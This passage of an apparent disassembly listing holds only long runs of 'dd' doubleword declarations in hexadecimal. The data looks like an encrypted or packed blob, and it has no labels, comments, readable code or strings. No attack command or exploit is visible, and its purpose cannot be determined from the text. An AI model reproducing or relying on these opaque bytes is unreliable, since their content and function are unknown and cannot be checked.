0A095DF7Ah, 0CE3E3D3Fh, 0E812A186h dd 7E2A7E46h, 62017D83h, 0F7AA4455h, 0EA91A0F5h, 97C965E9h dd 681545Ch, 5A6E9871h, 0C94EA22Ah, 54BEC132h, 9CE4B238h dd 0F45CA6D3h, 0DA09DE10h, 0A7F7DB95h, 4E62DE76h, 14550BBAh dd 4C08FC9Dh, 0CBB126B2h dd 0BDD87B59h, 56CD4093h, 440BE38h, 0DEF7683Bh, 67D3A4EEh dd 14045F01h, 555EF101h, 3AD45281h, 28D17AA8h, 1D7B042Dh dd 728072C0h, 4E664B8Ah, 37038124h, 79FD05F7h, 8AECCF13h dd 202A5581h, 81E7B5B7h, 0FBF4C121h, 0EA966E36h, 0B573BC2Fh dd 4E64183h, 1393C531h, 0F036C1EDh, 0A3E005EFh, 0ABEB0B80h dd 74E6DA88h, 40F26813h, 9FB55830h, 1E738E9h, 7E71CBCEh dd 5339EF2Dh, 0EB9CB459h, 5FE63B12h, 25E8B073h, 0C2765450h dd 3CCE7D72h, 0EB54DCB5h, 0D942EA5Eh, 53A90FF1h, 0CD9B6577h dd 3B19604Ah, 2D276901h, 235312CFh, 0D285E47Bh, 0C587C040h dd 0EB2C74C7h, 0C100BCD9h, 511C490Ch, 0AE42FE60h, 0B3530176h dd 78F12A64h, 8B6AAC6Eh, 8D6D5D55h, 0F912FB2Ch, 0A6B14A43h dd 8002C9C0h, 0F1CC5031h, 0D9F633C2h, 0D8E95710h, 0C98128EFh dd 632742FEh, 6ABBE843h, 1A2165Fh, 5A81CAFAh, 589402F9h dd 0F66F4509h, 19E13380h, 0BB9CC92Ch, 28FC5A13h, 7D9CB75Ah dd 920B6E4Ah, 25AF5D59h, 0D7B8FD62h, 2F1EF8D5h, 0E36C58C5h dd 0E6B07D20h, 0C6303CE1h, 77C752B7h, 0DBFA72D0h, 6AAF465Ch dd 8784FFBEh, 7DB60021h, 0E1F2C380h, 0A95B43FAh, 0D0C35A66h dd 97E242E9h, 0D689EE8h, 277197h, 0B5D6B753h, 3F2FE970h dd 2CD071C3h, 9EDE09A5h, 80037330h, 24D8F548h, 0ED1C8EE5h dd 0FFC5993Ch, 260010Ch, 507582F6h, 93E60471h, 0AA297077h dd 0FC1FD1E0h, 90D87908h, 44050B5Fh, 7C833761h, 9878628h dd 0C5DD6229h, 8DCD435Ch, 0DCC11D00h, 2DE57ED3h, 8A510007h dd 7AC0053Dh, 7BB0623Ch, 0CA0747F9h, 79E90911h, 1E4194A7h dd 0E9BD77E4h, 1364018Ah, 0D701736Dh, 8061C21h, 9F50B0Ch dd 8C6816BCh, 8881170Eh, 8FEA8241h, 1421CC3Fh, 0F5B28BB5h dd 7B0B4E97h, 98B910EFh, 75892D57h, 9F5A7FF0h, 0E43E0CB5h dd 0EF2DCB1Fh, 0F3368072h, 0BBC593Ch, 471CE927h, 81BB967Fh dd 42E2906h, 0AC8735B1h, 0EB688296h, 0EE794Bh, 12A5BD66h dd 0E6756E9h, 0D0D75018h, 0E158C6F2h, 177E0172h, 0A170EB2Bh dd 5E0841B4h, 0C620AEE7h, 3D3A92EFh, 0F3AE602Eh, 2076AFE8h dd 6C517A03h, 8919E174h, 8070DC7Ah, 9BB9740h, 5E7D6D01h dd 5AD3E85Dh, 0E1187368h, 0F1BCEC7Ah, 316A32CBh, 2A48404Ah dd 435073D8h, 942C17B8h, 0C81F305Ch, 0D468A405h, 0B1E82218h dd 0B03B989Eh, 593F34A5h, 1223C02Fh, 1116726Eh, 6491E889h dd 8157D7A1h, 0D9344963h, 4312104h, 18A0F37Eh, 0F0816960h dd 0EE01806Ah, 3E099890h, 7574621h, 0FE574880h, 7E18E931h dd 0C205A669h, 813A21B0h, 9D628A77h, 0BEEAEB3Fh, 0A86E20E5h dd 1BCD3649h, 0DB0704E0h, 88EF127Ch, 5216BFC3h, 9B16851Ch dd 0ACDA29A9h, 0B53F46E8h, 21AFD612h, 0D52C04E8h, 240D1066h dd 41167940h, 9BBD53Ch, 0AA74A7Dh, 6BDD8F57h, 0B9EA85C7h dd 0CBEA47D5h, 83D25FC3h, 0C78449C5h, 0CA4FF02Ch, 65751740h dd 0EDBDEF34h, 0BA08EF16h, 23728269h, 3B5EA4D7h, 11408B41h dd 7B3C6F1Ah, 0B6D5FC76h, 402F45F0h, 0B9E281DDh, 6461C065h dd 4B039B0Ch, 0F2F33089h, 0ED6A6A7Ch, 0A9113704h, 0A4347082h dd 81FA5FF8h, 7F74FEAh, 7A1CD7EBh, 7E9C114h, 87D73583h dd 0B7EC3BE1h, 0F77EE192h, 0EBE16F2Eh, 682BC041h, 54291E55h dd 0CD5E8C62h, 400EF5BDh, 0C01D9357h, 6F3DB4E5h, 0C52B069h dd 472728B2h, 0C67B1324h, 0F609AA5Bh, 71C6D75Bh, 58625EB7h dd 0FDB2D2A4h, 134A8848h, 0E6A87596h, 444C9AE6h, 0E9E08734h dd 29D62419h, 58AF5B0Bh, 0F2B510A7h, 1FA2741Dh, 0B875478Fh dd 16D231D1h, 0E66EF568h, 0DFE9098Bh, 0DCC72B8h, 2C953A1Fh dd 4EB4686Eh, 804F62BCh, 7988051Eh, 2914CB16h, 2E072310h dd 0A369BA59h, 2A3DC03h, 287FC3DBh, 81627EA9h, 7692F270h dd 82FD74A9h, 2E536ACAh, 821CDA31h, 0CD6B4008h, 898B57Bh dd 0FE9A98E0h, 0B0D0F63Ch, 0C0FE0811h, 0BFF0582Ch, 9EE9EC0Fh dd 13FD839Ah, 0FCBFDA19h, 5F59F82h, 0BBFEC3F8h, 0D106B923h dd 0B603AC7Ah, 0F1EF80DBh, 0BAF08850h, 7BF74C64h, 0C032CE77h dd 556530E6h, 0D3CE1DF1h, 0A418BBAh, 69723F68h, 0F83A18A5h dd 0BC5F20E9h, 20C5A5Ch, 0AD6B3405h, 60CC5F1Ah, 0BE090FB4h dd 0F565ABB7h, 89AE28A8h, 34D4312Bh, 0ED5AD10Ah, 4F5ECA00h dd 0C020E91Ch, 1D6F2D6Fh, 50547C1h, 8CB911BDh, 0BA28B7E0h dd 345C51B1h, 7F349806h, 4A692754h, 1AD64048h, 344CAC33h dd 0E1D509FAh, 67E3D68h, 1AC1B865h, 0BD603361h, 0BF70178Bh dd 0ED890071h, 4E752A6Eh, 60DF42BDh, 930103B0h, 531D16E6h dd 0FA23176Bh, 4DE9002Ch, 5927F5B1h, 3EDC7AB0h, 0BDB38388h dd 7255B092h, 97507C66h, 4FE24AF4h, 82BC74DCh, 49A76BA4h dd 5AB6460h, 7268032Fh, 13F20262h, 420E2518h, 5A548777h dd 0C9E92320h, 9FF5929Dh, 24BA79h, 24BAF112h, 573A2316h dd 0ABE9D90Bh, 6F71DCB3h, 90B2FE24h, 2610CD5Ah, 7515FA25h dd 3D885h, 0F46C06CDh, 4724E97Dh, 0E19B08DEh, 2A14A0A2h dd 5E64E9Ah, 0CA78D824h, 1A304FC0h, 3A5F3h, 68553862h dd 521C48CAh, 0DF61C29Fh, 70ADAB79h, 63D69FF5h, 288BA054h dd 48711C23h, 3465D768h, 0A5E1A8ACh, 0F021100h, 90C176DFh dd 81464BB2h, 302A8258h, 5E5EF031h, 0A218F5F5h, 3842028Fh dd 0E108E957h, 5E589982h, 173D215Eh, 0C9D1DA23h, 0E605AE72h dd 0FD1A63DBh, 0EEB5021Fh, 656166D6h, 975FE55Fh, 9A0D0522h dd 0CE23FF29h, 524F6D5h, 0E3685142h, 0BD74410Dh, 0DAA16BD6h dd 25FCE381h, 44096090h, 5F8CAC4Eh, 3C681752h, 8BDDF669h dd 0C5F6FE5Ah, 6EBDA116h, 0FE9797F2h, 0A66B413Dh, 0B1CF1147h dd 0D6ADE74Bh, 1363CDC8h, 0E2622559h, 0DCED0402h, 4281DE1Eh dd 0BD326DB2h, 0F01C895Ah, 64260899h, 0CF16C803h, 8450EC49h dd 64EBE462h, 0BC3FC4B8h, 712C13A5h, 0BACA04BBh, 150512FAh dd 0B0EE46D6h, 902C6BDh, 1C87E83h, 85D1F5F2h, 0C1E807C5h dd 4428BD02h, 0A3FF1B9Fh, 0A84CE64Fh, 0B95AE97Ch, 1A5F010Bh dd 3B583E18h, 303CBFCh, 3CFCB02Dh, 4B83ECE4h, 76029CB2h dd 4C0178C4h, 76E9A5Fh, 0ECB4E90Ch, 0C1098A8Ah, 308307E0h dd 0BB84F29h, 0B35E1FE9h, 0E2F8C874h, 0B04F1F46h, 4505C75Eh dd 89424A03h, 90C7C9BEh, 1317232h, 3E583116h, 0B47BD9D9h dd 9F65A5D2h, 0D8EAFE29h, 0D4B52968h, 259FA062h, 0C2FBF719h dd 0E22795A6h, 0A358D752h, 3B5A073Bh, 9C0072C3h, 0F619B151h dd 0F0B353D9h, 63E92D52h, 0F95D9E42h, 7AD072A6h, 8AAA3E00h dd 0D5895586h, 0E3974FE9h, 0D6F27B75h, 74305D41h, 5E7F1762h dd 5030B837h, 0C26C3BEAh, 198588A8h, 0A405EBC0h, 30D8C1ABh dd 98A4260Dh, 69F642C3h, 5F10D621h, 4C41A85Fh, 0BE802032h dd 2B50866h, 0B02F133Eh, 0D253640h, 453314Bh, 0EEFEFD05h dd 2EFAE8BCh, 0BA81A692h, 21064769h, 61F0D3F1h, 0A19C978Eh dd 440CEB90h, 0C4A3A07h, 22C71228h, 0E803AEDAh, 875B84E9h dd 8C45DD09h, 16AFE588h, 6555A5Eh, 0A8982E60h, 70B55180h dd 4A90FD19h, 0C6FE1349h, 9AB52D60h, 0C0D507F6h, 378006E5h dd 8ED60F0h, 61945266h, 0E9DA0B39h, 0EC8172E8h, 9AD70BA8h dd 0E0E03155h, 0BD80DC60h, 3A760922h, 8180457Eh, 4A40558Fh dd 0E29CC09Dh, 0D95381C3h, 3E483202h, 0AB4A90E1h, 0EC21FF4Fh dd 0CC7EAF76h, 704E1772h dd 34F3D9B8h, 69C82202h, 625E39E6h, 116DF1Eh, 19973701h dd 59CE31C6h, 162DF2EDh, 0E2B52117h, 53E14BDDh, 1C25682Dh dd 985F1A85h, 0E8B73544h, 4CF75AD1h, 110499D0h, 0BFDAEE22h dd 4E0A09A0h, 0E692A815h, 3F6EC145h, 6E603B57h, 84112A8h dd 0BC7A3609h, 93EFA5E2h, 5302E138h, 2354992Dh, 41F9755Ah dd 0F832E909h, 13BE003Ch, 4E7CD602h, 5C13B951h, 910A0B48h dd 4F16E1D1h, 0C224AEE3h, 0D04604F6h, 3954EDE3h, 155AC0F7h dd 186B1368h, 9F78F27Eh, 5D164AEFh, 0ED003CB6h, 10A745D1h dd 554F2CE9h, 623E979Dh, 0F6CA7E5Dh, 105E5E60h, 0DC6AD832h dd 0E9C4DFDEh, 0D912EC43h, 225FF397h, 0D5012C02h, 2CDD083Dh dd 4F5AD22Fh, 8647AA66h, 177FAE39h, 90525B2Ch, 62AE586h dd 29D28B78h, 7787C305h, 8BBB2C09h, 2D017FA4h, 0E9648E2Bh dd 0A63EB985h, 8C2F7A32h, 0B0D54415h, 0D323A2Bh, 0AE594A93h dd 4FD19810h, 15DA5AFAh, 4D40955h, 5093767Dh, 0BB5BE142h dd 0C5800C84h, 7E53EFECh, 78BAD1FFh, 0B2208025h, 33CA80B4h dd 188EEA50h, 0E066CCFEh, 0DE74F6E6h, 5A7CF478h, 3980C43Bh dd 0D960F5B5h, 0AAE9380Ch, 0E59CBFC9h, 21E06804h, 28B14BCBh dd 963EE22Fh, 3AB23BA8h, 0EB8114FEh, 4A396F66h, 999E4960h dd 79330B19h, 21D3A2A5h, 9F9198D5h, 4D06ED37h, 110C59B3h dd 5A20EB1h, 47A73AFEh, 3C5B52EBh, 6B02ADC3h, 11E99ED4h dd 405BEAD6h, 1880E562h, 0B0269D62h, 1D06A461h, 221BE97Fh dd 2DF977F5h, 917137A1h, 45F5ED8Dh, 5918E8E6h, 0A668135Bh dd 0FA486031h, 334C850Dh, 16F42CAAh, 37EB2316h, 2905F30h dd 257C2F68h, 0AA2B635Eh, 0EE67DF7h, 9F42F0B7h, 0CF074B70h dd 0E9236069h, 9F6378C9h, 5D5A64F4h, 6690FE3Ch, 81098C12h dd 0C5E6B307h, 3CBE120Eh, 5DB06814h, 80E441E1h, 0C2310011h dd 55B6A858h, 0C967BD54h, 62899225h, 2F5F7A24h, 54C68276h dd 7DC3020h, 34B4B050h, 0BF322F81h, 6A80190Eh, 72FC12Ch dd 0B6655B79h, 960167E8h, 9714742Dh, 982AD448h, 9040802h dd 504558C5h, 0D0C1956Bh, 98152007h, 4EE6EC3Eh, 256884B0h dd 0E0730638h, 9459EB2h, 9B1E9CF4h, 1653B08h, 81ACE81h dd 0C6B7409Eh, 0FB2FA5BBh, 5D14C843h, 99FEB7F6h, 0A588D3CBh dd 79628D51h, 515200C9h, 0CEE4E188h, 104EC0F6h, 0BF3B76B4h dd 65D58BE2h, 51456B10h, 4AD3642Dh, 0DB9EFD93h, 6157D9E4h dd 98C6FA40h, 519D2705h, 0F600E85Ah, 1D7F974Eh, 1FDCBA52h dd 16FA71Bh, 0D110E1E2h, 99F2D803h, 0A9D703Fh, 0E6EF6EE9h dd 1FAFB880h, 3480FF4h, 403C7335h, 62E62D76h, 0E5200B98h dd 2D587136h, 54D6F028h, 55074C53h, 53502900h, 0BD45E952h dd 31F3ADA9h, 12413EBEh, 5BD8895Eh, 0C5C1C96Fh, 3FE1F682h dd 18313EEEh, 0F504D455h, 313F2074h, 9744B9D3h, 51077EE0h dd 0A309EE57h, 0A70CBF6Fh, 0B8D83FB2h, 4F92BD28h, 0F340EBF6h dd 66CE665Fh, 843B7028h, 5215DCBDh, 6E4E73DFh, 2D20DBA5h dd 7ADEF914h, 0E6B9C301h, 0E17A7530h, 6349E851h, 209D1B73h dd 0FEE32EB3h, 0B8894B97h, 767FE123h, 0BEDB781h, 3FFDAC28h dd 843B0AE1h, 1E14BF96h, 34DCE0F9h, 0E6B588Eh, 5C760220h dd 0DCBFFD25h, 2B64EFF1h, 1BB136Fh, 968AEA4h, 0D7ECF340h dd 763E80A3h, 0C1B854EAh, 4EC7DA4Bh, 5F95B0F2h, 0AA027FBAh dd 0E67DFF71h, 44362FEBh, 0CB6ED259h, 5BE577EFh, 0DCD35089h dd 4D98BB08h, 201E890Ah, 856E97BEh, 0A881D9F6h, 52302AB6h dd 0F1283AFAh, 0ACD8E9BAh, 0B7531E7Eh, 270C1F32h, 0C6A414E4h dd 16901497h, 85CDE950h, 40AEF9BFh, 171FFD8Ch, 0D1C8AA3Eh dd 0C38001CBh, 0ACF3286Dh, 702B0A82h, 3E779488h, 5EFC10Ch dd 0C1BF0806h, 0B800A7E1h, 703F3249h, 0CF99876Eh, 0F6F3FA8Ah dd 72394C83h, 0FE1371Bh, 6BFD93E9h, 0AB5E0CFDh, 65495F38h dd 0FC5E0AE8h, 8555268Ch, 1A30A920h, 3FE9D025h, 5B56A47Eh dd 0FA97A444h, 32525F33h, 61A7EADEh, 4AF37327h, 0A452F885h dd 2FB229AAh, 5F8110ACh, 2A071D68h, 7BE39431h, 40D30005h dd 8C3F835h, 42CEB04Fh, 0A1EAE908h, 3EFC006h, 259E408Eh dd 1D15AA0Dh, 0FB304A4Eh, 62549649h, 20D42DDDh, 77844162h dd 8F5A114Eh, 2B392DBFh, 0BE301CEDh, 20E95610h, 518DD15Dh dd 7A80C5C8h, 615898EDh, 0D92D1E7Bh, 582AD60Bh, 0BE668B25h dd 383B3A30h, 16010BE6h, 0EEA3F8E9h, 0A8B35F31h, 0BA92AE14h dd 9547FF5Fh, 5074E909h, 0AF7B9753h, 0FB29780Bh, 99DEBC08h dd 7EED6BC5h, 350B0ED2h, 0B6BF2ED8h, 69B46D1Eh, 48A5DC9Dh dd 3D622250h, 66A558CDh, 9BF626E2h, 1AB0D152h, 0AB64CB4Eh dd 0D8D0315Ah, 0F5857EAh, 0CA01254Eh, 0F72B2DA4h, 0D1F616C6h dd 5A889D2Ch, 59B882CFh, 7BAD3061h, 0B64A23D0h, 898013D0h dd 2BA12DC8h, 801456C1h, 0BED7A169h, 0C4D55721h, 2515D16Fh dd 0AAAD7BFAh, 428C68CFh, 0D49514E2h, 37315CC7h, 6EB010ADh dd 1A2C86Ah, 423AF260h, 0FA3E2E44h, 99964B7Ch, 11AD6E74h dd 5EA7A910h, 42AD99A8h, 12F94429h, 0CD402A83h, 4C2E8B35h dd 2900840Bh, 0E9447741h, 4DC115ABh, 0EA6269E2h, 0DEA9C26Eh dd 1E455ADDh, 0CC5DEB31h, 0E65D76A2h, 7E68520Bh, 0BE06614h dd 5ED22D86h, 0E08DE855h, 33342F42h, 79F8D2DAh, 1B7FB713h dd 0D6013144h, 0D1B86FC1h, 8A43D07Bh, 11500F61h, 1013B5D4h dd 0BD1C649Eh, 784C1A4Bh, 67050345h, 0D3F72BA7h, 0C3AD045Bh dd 18A3BF04h, 6B18BEEDh, 1153512h, 0CB292ECEh, 64F71DE9h dd 671757C9h, 3CE96966h, 240A7474h, 7762F11h, 90717BF3h dd 96573E2Dh, 8031B92Dh, 1C4CE150h, 38A5E56Dh, 7ABECB81h dd 3177C46Fh, 0EAA3F760h, 2F41D11Dh, 0DD51FB01h, 0C3821068h dd 5D36CAE9h, 0FA8B7512h, 50578003h, 195368B6h, 225927B4h dd 4A24A2Fh, 1189FA5Bh, 0A5ACB37Ah, 48D05221h, 4ACD2981h dd 70552C42h, 16C9EB12h, 3C997658h, 26D0DAA5h, 4E30D8B5h dd 0EF16FF68h, 0EB093CEBh, 32680212h, 21E91242h, 26B455CDh dd 26101EBh, 42C0243Ch, 9661635h, 0DB5AD32Eh, 0F4595E00h dd 25DE2108h, 66F0465Bh, 6E2D0C02h, 0C202E7C1h, 0CA3841D7h dd 0B596BC3Bh, 3EB30681h, 2C45AC6Eh, 80703888h, 0E92A12F6h dd 0EA27E49Ch, 5B2CF11Dh, 81AADE2Dh, 6C5D9EE1h, 0B7DD3070h dd 789D4FB2h, 0EDF33DD3h, 0BCDBC993h, 0FA62C441h, 931BE17h dd 0BA04A5B9h, 39BA8680h, 6029416Ch, 0F741097Bh, 443B4C20h dd 700BEBFBh, 0DE0BAF20h, 9408A029h, 66890494h, 0E12DC139h dd 246800E7h, 0ACC5A837h, 0C05782B5h, 79353EBFh, 0E5E0B7C2h dd 0F62D2E6Eh, 815F5E3Bh, 81E95E5Bh, 0E89E5570h, 63680A88h dd 72CBFF14h, 0D548BDD8h, 33D632CAh, 342009F9h, 7051A938h dd 2CCB6D9Fh, 0E97BBA25h, 0CB840854h, 7754944Bh, 578F0080h dd 539D5C32h, 4D9D0254h, 46775B56h, 6AB804ADh, 0B0227E09h dd 454A0409h, 2985A841h, 506E4E44h, 675C081Ah, 27026809h dd 5500E7D3h, 8B5771BDh, 3042C132h, 6E737E2Eh, 272959F0h dd 1F0BF0Dh, 0ACE4599Dh, 291F163Ch, 0F7453E74h, 30BF0EFAh dd 4830401Ah, 77604945h, 6A4241D3h, 409FDDE0h, 0FF9E2DA4h dd 6DCB509Eh, 0FAF82BCFh, 5ED63104h, 0DC55F575h, 719796F1h dd 117F609Fh, 0D8B55A71h, 0DEAE542Dh, 80C213FEh, 0D1100FF2h dd 2E22538Bh, 4E0C731h dd 31991DF0h, 577A6842h, 53BB2718h, 661A5F09h, 50E00643h dd 0E3F6B50Fh, 829975CBh, 277689Dh, 1549A4BDh, 0A2D0FF54h dd 41C81ABFh, 1145F6B4h, 0DC03AE0Bh, 490DCA95h, 0BAE07FFEh dd 2794B16h, 0FD6DB842h, 0FB5709BDh, 370727B0h, 3ED0A05h dd 357FF8E6h, 5069BCDCh, 3A25F902h, 2E87449h, 0A20E7A43h dd 6E6467E1h, 8968BB20h, 7EE9834Eh, 42612E5Ch, 5903A3BCh dd 0A5DB5003h, 0EA299715h, 215B405Dh, 63A92D14h, 8038247Eh dd 26A31C32h, 0CB4CC6E9h, 0BFC5594Ch, 644C8DAFh, 3961F83Eh dd 0A73E4879h, 23D0FB3h, 2958C517h, 3C0463Bh, 0AF301480h dd 3571862h, 0C7104B40h, 0A76871E8h, 48D2363Dh, 46EC06BFh dd 10B88BFh, 15AD729h, 2B3EE9FEh, 2304D90Fh, 0EF2CE828h dd 49D41767h, 14BBEFB0h, 0E2CB5822h, 932CE018h, 5304F9EBh dd 0D83193ACh, 0E9C26EA8h, 67B05DD1h, 0DDFBC209h, 0C94E485Ah dd 0F16E5212h, 0AAE45113h, 0EB3D2FE9h, 1C1C69h, 1D28C604h dd 4EB151F0h, 0C8EF372Ch, 12E9047Dh, 0B3A9A473h, 0E042243Ch dd 8056E450h, 6036B045h, 84C2916Fh, 0EB7BE8DFh, 0C66D392Fh dd 411E5E3Ah, 28C9ED16h, 5F97D7C5h, 0AE70DDABh, 0D08C3794h dd 2F6810E6h, 0FC187225h, 0EA88822Dh, 0B55E3C3Ah, 0D8DF30FBh dd 0DE8D116h, 4E1EA016h, 90018FFCh, 29F6646Fh, 0ABC407D8h dd 0C39C76ACh, 59D14DAh, 44DFD002h, 0E2290B58h, 739476CDh dd 3CAF865Ah, 889D9AFDh, 10088A45h, 69B80035h, 1F7DBD7h dd 5F1BC157h, 22D36F0h, 40311053h, 8742E801h, 3B050809h dd 42C9FAD0h, 9021B07Fh, 0B1EC3AE1h, 650866B3h, 184BDE9h dd 0DC7B3A68h, 9BBBBE5Eh, 0CF52DD58h, 404DE95Eh, 5814781h dd 0F807DEFh, 228316B8h, 3DCA8EB4h, 0F446FA55h, 8C894F5Fh dd 95DD3EE5h, 0D8EC9DD6h, 0FCCEE33Ah, 775FA208h, 79745240h dd 0C14CE025h, 2300D84h, 35300E02h, 6ACB6D29h, 0E9278350h dd 539C0544h, 2D96F7F6h, 7DA32BBEh, 0FCD630DAh, 0BA095292h dd 0F514E291h, 0CC9A091Eh, 0C97FBC80h, 19D85581h, 62E79C64h dd 35DABC57h, 0CC2E0F33h, 2684E081h, 29611EE0h, 85039C1h dd 661EC058h, 53166373h, 0B84F24ECh, 464765EBh, 0A35B9EEBh dd 8010398h, 4971776Bh, 10857C29h, 0ADB8ADE9h, 36B10442h dd 8FE14F4h, 0CC4B892Ah, 0A259488Bh, 19485B04h, 49B4EB22h dd 63839CCh, 404EB14Bh, 6CB95191h, 7EDE182Dh, 15E904F4h dd 0E559A8C2h, 2A7705FEh, 1829E36Bh, 0EE31A7A3h, 4CBB7719h dd 0CA58DB58h, 80181425h, 5B81AC3Ch, 203EBC7Eh, 4E65EAD7h dd 102CFEF3h, 0CBA34EA7h, 44FE050Fh, 0B2F1308Fh, 46C31780h dd 1B53C16h, 94CADF4Ah, 403AED40h, 0F8B748CBh, 297607D1h dd 81BF40F6h, 7A4E8239h, 2FF1CC4h, 1C470921h, 89FB17F5h dd 7A7BA043h, 4A17529Fh, 0BF5877A0h, 0B228A859h, 3A31749Eh dd 17411AB7h, 3101B0F7h, 0BDD9D9F9h, 0B1E599A8h, 3F60D617h dd 6046F4F0h, 2BC2FBE2h, 5C9F12ADh, 558E0960h, 48610FA3h dd 3DAE0B12h, 2C3AAE2Dh, 0E92F5E18h, 208B7213h, 0BF029FD8h dd 520E5881h, 8E8989h, 0ADF1A7ACh, 1E0A26E9h, 6643B688h dd 6E4BC37Ch, 615C1FC0h, 0B112CC9Dh, 9B5BB64Fh, 5B09E1ACh dd 92079904h, 8DA0EBDBh, 1D01276Bh, 0D915BE04h, 2F80E2FEh dd 34F83234h, 0E216E91Fh, 0D5A7829h, 0C0E50C1Ch, 4822C47Ch dd 92109EDAh, 0BFD58F4h, 1830F168h, 0C99C50A1h, 0CD1B9F16h dd 77D277C2h, 5DDAC300h, 0BA524FE5h, 751A1223h, 0CFA73067h dd 0F61F61Eh, 6523710Ch, 0F0C742D9h, 0FE8866F2h, 1BD2BF89h dd 1450FB60h, 0B81FB26Ch, 5E2E8201h, 85364FC3h, 6D6DFAA9h dd 13EBA63Ah, 0C3307749h, 4ADB100Bh, 9FFCA02Dh, 4D531418h dd 4C3D5ABCh, 0E202A4B2h, 0D381833h, 0AE61ED85h, 98BFD235h dd 0D224684Eh, 0CCC2E008h, 5D2DCADAh, 0CB2D4040h, 160C631Dh dd 0BA07AA42h, 13A5603Dh, 7E52813Fh, 6DB1C185h, 6B8EA73Eh dd 0BEF4C10h, 19A3392Fh, 82106F0Bh, 1E1EB0CEh, 96CB332Bh dd 69BAC612h, 8C00C1F5h, 79AB2AB4h, 609AEDF6h, 0DF875A27h dd 47F75132h, 1F6C0BA9h, 0D48EDC7Ch, 0B5B83738h, 1631060Fh dd 5FFB8960h, 8627E951h, 0DEB4F7F3h, 8887F0C4h, 0C917B413h dd 0E4F21009h, 0BFDB6453h, 765A4ED8h, 854CA731h, 3979993Fh dd 52E9C23Bh, 0EF0F54C9h, 919E0765h, 2F460CE1h, 55CFBBCCh dd 0AB000815h, 9F74F928h, 0DE258CDEh, 0B25A8909h, 7F5A5874h dd 0B3E93518h, 6426F069h, 8ABAC97Bh, 80022C68h, 4AD6C23Eh dd 5E0C03B0h, 93C4E39Eh, 0E0D8D6AAh, 0DE1E530Fh, 9CE46432h dd 1D406802h, 0DE699855h, 86408209h, 8180715Fh, 17A117C9h dd 1F1FA2h, 0E262BE47h, 6DEECF31h, 178FDB97h, 50DB292h dd 2C194F74h, 2CE79E08h, 0E6E20B46h, 5769E7Fh, 610382C6h dd 17F20463h, 8E800FBBh, 0FBE51F66h, 0D6F60CC0h, 0E6308004h dd 1EE0B17h, 0A2B70753h, 325BFE28h, 5A575AF5h, 9DF69049h dd 30876576h, 1623C4Eh, 505B16C8h, 2884E7FCh, 0E4530CD1h dd 7E09811Ah, 0FA82CF2Dh, 76BC37A0h, 0F8FFE3FFh, 2D0D9ACDh dd 5DDA21CCh, 44283E24h, 7DFC56C5h, 6EA26BB9h, 0C944682Eh dd 3E4DD760h, 85B6328h, 553AD80Bh, 0B8BADF48h, 65D50C0Bh dd 0A4DD0D07h, 50357C10h, 3D13F3D1h, 4FA1A54h, 0FEEE016Fh dd 38986064h, 0E04033E9h, 0DB795340h, 393D302Fh, 0E83499Bh dd 1B7E62A1h, 7FACC7E1h, 1D4B1E41h, 0EA607DDFh, 0A66DBF9Ah dd 29EA5C12h, 9EFC3E85h, 8F38A0E5h, 0A34D7258h, 1E169C1Bh dd 0A9B85694h, 55448F4h, 3B082E4Bh, 89EF7992h, 92F5D108h dd 0F13DFB5Ah, 48585369h, 0A0A8E90Bh, 0F7503ED6h, 21E9B2Ah dd 6A20065Ah, 30D0BFE3h, 23923251h, 0B7D6E913h, 0BB10C18Ah dd 20BA173Fh, 286623C8h, 58D7674Bh, 8419DFAh, 0A80DB020h dd 1E060583h, 895DCC3Ah, 0E35163D1h, 579E538Ah, 5EAD09C9h dd 204920A9h, 0F72690E8h, 0B526F2D1h, 0CEB9431Ch, 0ACF0F00h dd 0D26F5D5Ah, 0F4C80410h, 0DEC492CDh, 0C47087C1h, 4BBD2F81h dd 0F1044A05h, 7012AD73h, 5F711E88h, 1CEBD2CDh, 6167C2DBh dd 9640414Fh, 0B9092E38h, 45DE019Ch, 0F6023B46h, 43E03426h dd 0C688BE2h, 0F15F8859h, 3208CD1h, 5F29DA7Eh, 5922AFC0h dd 8B0B9D30h, 75D273DCh, 5A178558h, 2DACE1C0h, 4BA28210h dd 488462EAh, 0F7466057h, 0DA0501D0h, 2D08B865h, 0A7B530A3h dd 0E24BE92Dh, 0A2F8F792h, 0B5AE8B58h, 209E82B2h, 0DEA4DC2Fh dd 8E864C4Ah, 9AC30180h, 571E122Bh, 7D780038h, 2D4C1B6Ah dd 0DA6F621Fh, 64970D02h, 0E5F4C090h, 0D63BCE06h, 0F9658BE6h dd 321D58C1h, 842E7BB2h, 13071278h, 4FDB090h, 0E83A5170h dd 81E85A2Ch, 1ABE5A1Ah, 122159F5h, 0A21D01D6h, 6B209A0Bh dd 12EB7A17h, 0C4A51DDAh, 0C03A9644h, 8D092BA2h, 3BB1550h dd 0DA615616h, 0AAF816ABh, 0AC904FDDh, 0EC0B4F0Eh, 457FFE7Ah dd 7DA5BD07h, 92AA4634h, 3AC62580h, 0B54E4B7Dh, 0AE83E8Eh dd 7CB48A10h, 0F58A6095h, 0BD461FF1h, 0E7A38818h, 2899B502h dd 0BA23C5E8h, 1733A326h, 0BB259069h, 597B4E1Dh, 6800445Fh dd 63E2862Dh, 2DF8BF06h, 80B13160h, 7A2856C3h, 0C4705FE3h dd 0C6E2EB78h, 0E4EEE9C4h, 0FFFAC171h, 0E0FDBF25h, 84BB53EBh dd 0B24BE975h, 0A6939AE8h, 0E9FE096Dh, 68DE6067h, 96401623h dd 0E38BAA13h, 386DFB00h dd 0D7C9E935h, 0DFC3DA83h, 44142666h, 13C0893Ch, 736026D9h dd 4FF876DAh, 2554E460h, 6562320Ah, 641DEE4Dh, 0E976FC41h dd 46651CB6h, 3D2D9640h, 7C980A4Bh, 2D95348h, 4D41727Dh dd 8006DAF7h, 132EC28Bh, 10FBB71h, 9D28FD85h, 2518806Dh dd 0E96B7529h, 88DD4E38h, 37B85C17h, 27CF995Dh, 12427BD1h dd 0C62FE432h, 0A7D6A73Bh, 0DBB7E50h, 43D96CF5h, 98C95540h dd 0D3413DE7h, 5A20F236h, 0D0F1ED6Bh, 15F61DD0h, 0D9525A1Eh dd 3C5FD808h, 0FEEFD003h, 0DA380C7h, 2F9EC0E9h, 0FB4AE244h dd 1220AD16h, 58A3F2EBh, 0C5C2899Fh, 0ACB9984Bh, 0C40A6C85h dd 0F3F89017h, 83D9ABF5h, 3E39BB2Ah, 4FAA3424h, 9700A302h dd 0A1A44AACh, 0B7646048h, 7D15290Bh, 9F915059h, 0F4CB62D6h dd 0EFE985FBh, 8E98EFC4h, 2D715E7Ch, 698F07D9h, 7DA60AF1h dd 59A8870Dh, 0F43A0C85h, 9F43AD3Eh, 